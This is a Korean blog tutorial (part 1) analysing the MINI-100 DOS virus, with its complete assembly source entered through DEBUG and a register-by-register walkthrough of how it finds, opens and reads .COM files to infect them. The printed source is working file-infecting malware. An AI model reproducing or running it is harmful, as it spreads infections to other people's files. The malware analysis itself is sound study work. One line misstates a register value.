어셈블리어와 악성코드

MINI-100 바이러스 분석하기 - (1)

YaluStar 2018. 11. 26. 16:08

MINI-100 바이러스 분석하기 - (1)


실습 환경

VMware Workstation 15 Player (FREE 버전)

Windows XP Professional SP3 (32Bit)



MINI-100 바이러스의 코드를 실행하면서 레지스터를 살펴보도록 하겠습니다.

총 68줄의 코드입니다.

MINI-100 바이러스의 코드는 다음과 같습니다.

 

-MINI-100 Code Start-

rsi

100

a 100

PUSH    SI

PUSH    SI

POP     DI

MOV     AX,CS

INC     AH

MOV     ES,AX

MOV     CL,64

REPZ

MOVSB

POP     SI

MOV     AH,4E

MOV     DX,015E

INT     21

JNB     012D

PUSH    SI

PUSH    ES

PUSH    CS

POP     ES

XCHG    DI,SI

MOV     CX,FE9B

MOV     AX,0125

PUSH    AX

RETF

REPZ

MOVSB

POP     SI

PUSH    ES

PUSH    ES

POP     DS

PUSH    SI

RETF

XCHG    DX,AX

MOV     AX,3D02

MOV     DL,9E

INT     21

XCHG    BX,AX

PUSH    ES

POP     DS

MOV     AH,3F

PUSH    DI

POP     DX

XOR     CX,CX

PUSH    CX

DEC     CX

INT     21

ADD     AX,0064

POP     CX

PUSH    AX

MOV     AX,4200

CWD

INT     21

MOV     AH,40

POP     CX

PUSH    SI

POP     DX

INT     21

PUSH    CS

POP     DS

MOV     AH,3E

INT     21

MOV     AH,4F

JMP     0113

SUB     CH,[6F63]

DB      6D

ADD     BL,AL

 

-MINI-100 Code End-

 

 

rsi

100

 

rsi의 코드를 먼저 설정합니다. (기본 값 0000)

rsi 명령어를 통해 SI에 값을 입력합니다. 이어서 100을 입력하여 SI=0100 값이 되었습니다.

 


 

 

 

a 100

19E0:0100   PUSH SI

19E0:0101   PUSH SI

19E0:0102   POP DI

 

-a 100을 입력하여 코드를 100번지 주소부터 시작하도록 합니다.

PUSH SI을 2번하여 SI에 저장된 0100 값을 메모리에 2번 저장합니다.

POP DI 명령어를 사용하여 2번째로 저장된 SI의 0100 값을 DI로 가져옵니다.

 


 

 

코드를 실행하여 확인하면 마지막 POP DI 명령어가 수행된 후 SI와 DI의 값이 0100으로 되어있는 것을 확인할 수 있습니다.

 




19E0:0103   MOV AX, CS

19E0:0105   INC AH

19E0:0107   MOV ES, AX


DS, ES, SS, CS 값은 실습 환경마다 다른 값을 가지고 있을 수 있습니다. (예를 들면 AAAA:0100 일경우  AAAA 가 DS, ES, SS, CS의 값이 됩니다.)


CS에 있는 19E0 값AX에 복사하여 AX=19E0이 되었습니다.

INC AH 명령어를 통하여 AX의 상위 8 Bit인 19에 +1을 하여 1A가 됩니다. (16진수)

AX = 1AE0


MOV ES, AX 명령어를 통해 ES1AE0 값을 복사합니다.

결과 => AX=1AE0, ES=1AE0





19E0:0109   MOV CL, 64

19E0:010B   REPZ

19E0:010C   MOVSB


MOV 명령어를 이용하여 CL에 64 값을 넣습니다.

REPZ 명령어CX에 저장된 반복 횟수만큼 바로 아래 명령어를 반복 수행하는 명령어입니다.

REPZ 명령어는 바로 밑에 있는 MOVSB 명령어를 CX의 값 만큼 반복하게 됩니다.


MOVSB 명령어DS:SI가 가리키고 있는 메모리의 내용을 ES:DI가 가리키고 있는 곳으로 옮기는 명령어입니다.

*DF가 0이면, SI, DI는 증가하고, DF가 1이면 SI, DI는 감소한다.

바이트형이면 1, 워드형이면 2를 SI와 DI에서 증가 또는 감소한다.


3줄의 코드를 정리하면, MINI-100 바이러스의 크기가 100 Byte이기 때문에 CX=64h(100) 값을 입력하였으며, REPZ와 MOVSB 명령어를 통해 코드의 시작인 100번지 주소부터 다른 메모리 공간으로 복사하는 작업을 하게됩니다.

CX는 0000이 되고, SI와 DI는 1씩 증가하여 0164 값이 됩니다.





19E0공간에는 원본 MINI-100이 존재하고 1AE0공간에는 복사한 MINI-100이 존재하게 됩니다.





현재 메모리 안에는 0100 값이 들어가 있습니다.





POP SI 명령어를 사용하여 안에 있는 0100 값을 추출하여 SI=0100의 값을 가지게 됩니다.

MOV AH, 4E 명령어를 통해 AX=4EE0 값을 가지게 됩니다.

이어서 MOV DX, 015E 명령어를 통해 DX=015E의 값을 가집니다.





19E0:0113   INT 21

인터럽트 21을 실행합니다. 이때 인터럽트 21중에서 AH 값인 4E실행합니다.

 




-------------------------------------

INT 21h, 4E

첫째 파일 찾기

ASCIIZ 문자열에 따라 파일을 찾는다.

 

AH = 4E

CX = 찾을 파일의 속성

----------------------------------

비트                    내용

0                      읽기 전용

1                      히든

2                      시스템

3                      볼륨 레이블

4                      디렉토리

5                      문서

6~15                  사용 제한

-------------------------------------

DS:DX = 파일이름이(ASCIIZ 문자열) 저장되어 있는 세그먼트와 오프셋

 

DS:DX = DS:015E

인터럽트 21h에서 DS:DX에 있는 내용을 확인하므로 -D DS:015E 명령어를 입력하여 내용을 확인합니다.

*.com 이라는 내용을 확인할 수 있습니다.

MINI-100 바이러스가 *.com 파일을 찾는것을 확인할 수 있습니다.





MINI-100 바이러스*.com 파일을 성공적으로 찾게 되면 CF = 0 (NC), AX = 에러 번호 (0000) 값을 가지게 됩니다.





19E0:0115   JNB 012D

JNB 명령어점프문 중의 하나로 CF=0 이거나 ZF=1일 때 점프합니다.

현재 INT 21h에서 파일을 정상적으로 찾아서 CF=0(NC)이기 때문에 JNB 012D 명령어가 수행되어 실행 흐름이 19E0:012D 주소로 이동하게됩니다.





19E0:012D   XCHG DX, AX

19E0:012E   MOV AX, 3D02

19E0:0131   MOV DL, 9E

 

XCHG 명령어를 사용하여 DX와 AX가 가지고 있는 값을 서로 바꾸어 주는 역할을 합니다.

AX=0000, DX=015E였지만, XCHG 명령어를 사용함으로 인해 AX=015E, DX=0000 값이 됩니다.


MOV AX,3D02 명령어AX=015E로 값을 바꿔줍니다.

MOV DL, 9E 명령어DX=009E로 값을 바꿔줍니다.


여기서 MOV 명령어로 값을 새롭게 정의하는데 굳이 앞에서 XCHG 명령어로 값을 바꾼것은 파일의 크기를 맞추기 위해서 사용한 것으로 보여집니다. (XCHG의 크기 = 1 Byte, MOV의 크기 = 3 Byte)





19E0:0133   INT 21


-------------------------------------

INT 21h, 3D

파일 열기

파일 핸들에 따라 파일을 오픈한다.


AH = 3D

AL = 파일의 액세스 모드 = 02

---------------------------------

비트                   내용

0~2                    액세스 모드

                          000 : 읽기 액세스

                          001 : 쓰기 액세스

                          010 : 읽기/쓰기 액세스

-------------------------------------

DS:DX = 파일이름이(ASCIIZ 문자열) 저장되어 있는 세그먼트와 오프셋


DS:DX = DS:009E

AL의 값이 02 = 010이기 때문에 읽기/쓰기 액세스 모드를 가지게 됩니다.


-D DS:009E 명령어를 입력하여 내용을 확인합니다.

처음에 만들었던 파일의 이름GOGO.COM 파일이였는데 MINI-100의 INT 21을 실행하여 찾은 파일의 이름을 확인할 수 있습니다.

 




-p 명령어를 입력하여 INT 21을 빠져 나옵니다.

MINI-100 바이러스가 감염 대상인 GOGO.COM을 정상적으로 OPEN하는데 성공을 하면 CF=0(NC), AX=파일 핸들 값을 가지게 됩니다.

AX=0005의 파일 핸들 값을 가지고, CF가 NC상태인 것으로 보아 정상적으로 파일을 OPEN하는데 성공한 것을 알 수 있습니다.


만약 실패할 경우 CF=1, AX=에러 번호의 값을 가지게 됩니다.





19E0:0135   XCHG BX, AX


XCHG 명령어를 이용하여 BX와 AX의 값을 서로 바꿔줍니다.

AX=0000, BX=0005

잠시 후에 나올 INT 21의 핸들 값을 넣어주기 위해 사용한 명령어입니다.





19E0:0136   PUSH ES

19E0:0137   POP DS

 

PUSH 명령어를 사용하고 바로 POP 명령어를 사용하면 스택에 값이 들어갔다가 바로 나오기 때문에 MOV 명령어를 사용하는것과 같다고 보셔도 됩니다. 그러나 파일의 크기를 맞추기 위해 MOV 대신에 PUSH와 POP을 사용하였습니다.

 

PUSH ES 명령어를 사용하여 ES=1AE0의 값을 메모리에 넣어줍니다.

POP DS 명령어를 사용하여 1AE0의 값을 추출하여 DS에 저장하여 DS=1AE0 값을 가지게 됩니다.





19E0:0138   MOV AH, 3F

19E0:013A   PUSH DI

19E0:013B   POP DX


먼저 MOV AH, 3F 명령어AX=3F00의 값이 됩니다.

현재 DI=0164의 값을 가지고 있는데 PUSH DI 명령어0164 값을 메모리에 저장합니다.

POP DX 명령어메모리에 있는 0164 값을 추출하여 DX에 저장하여 DX=0164 값이 됩니다.





19E0:013C   XOR CX, CX


XOR 명령어같은 비트 값을 가지면 0으로 만드는 명령어입니다.

XOR CX, CX 처럼 같은 것끼리 XOR을 하는 경우에는 0000으로 초기화 시키기 위한 방법 중 하나입니다.





19E0:013E   PUSH CX

19E0:013F   DEC CX


PUSH CX 명령어CX=0000의 값을 메모리에 저장합니다.

DEC CX 명령어CX의 값에서 -1을 하는데 CX가 0000인 상태에서 -1을 하게 되면 FFFF로 바뀌게 됩니다.





19E0:0140   INT 21


-------------------------------------

INT 21h, 3F

파일의 내용 읽기

파일의 내용을 읽어 들인다.


AH = 3F

BX = 파일 핸들 = 0005

CX = 읽을 바이트 개수 (FFFF = COM확장자 파일 최대 크기)

DS:DX = 읽어 들인 파일의 내용을 저장할 버퍼의 세그먼트와 오프셋


함수가 성공하면 CF=0(NC), AX=읽어 들인 바이트수 값을 가지게 됩니다.


실패할 경우 CF=1, AX=에러 번호가 됩니다.

-------------------------------------

19E0:0140 INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.


정상적으로 파일의 내용을 읽으면 AX=0011 값이 나오고 CF=0(NC)가 됩니다.

1AE0공간에 파일의 내용을 저장합니다. 그러면 1AE0:0100 ~ 0163까지는 MINI-100 바이러스의 내용이 들어가고 0164부터는 파일의 내용이 들어가게 됩니다.


AX의 경우 감염 대상의 파일에 따라 값이 다르게 나올 수 있습니다.

저의 경우 현재 GOGO.COM(17 Byte = 0011)의 값을 가지고 있기 때문에 AX=0011 값이 출력되었습니다.





19E0:0142   ADD AX, 0064

19E0:0145   POP CX

19E0:0146   PUSH AX


AX에 0064 값을 더해줍니다. AX=0075가 됩니다. (악성코드 크기 + 원본 파일 크기)

그리고 19E0:013E   PUSH CX 명령어를 사용하여 넣어 두었던 0000 값을 추출하여 CX에 입력합니다. CX=0000이 되었습니다.

PUSH AX 명령어를 통해 AX=0075 값을 메모리에 넣어줍니다.





MINI-100 바이러스 분석하기 - (2)에서 이어서 진행합니다.


반응형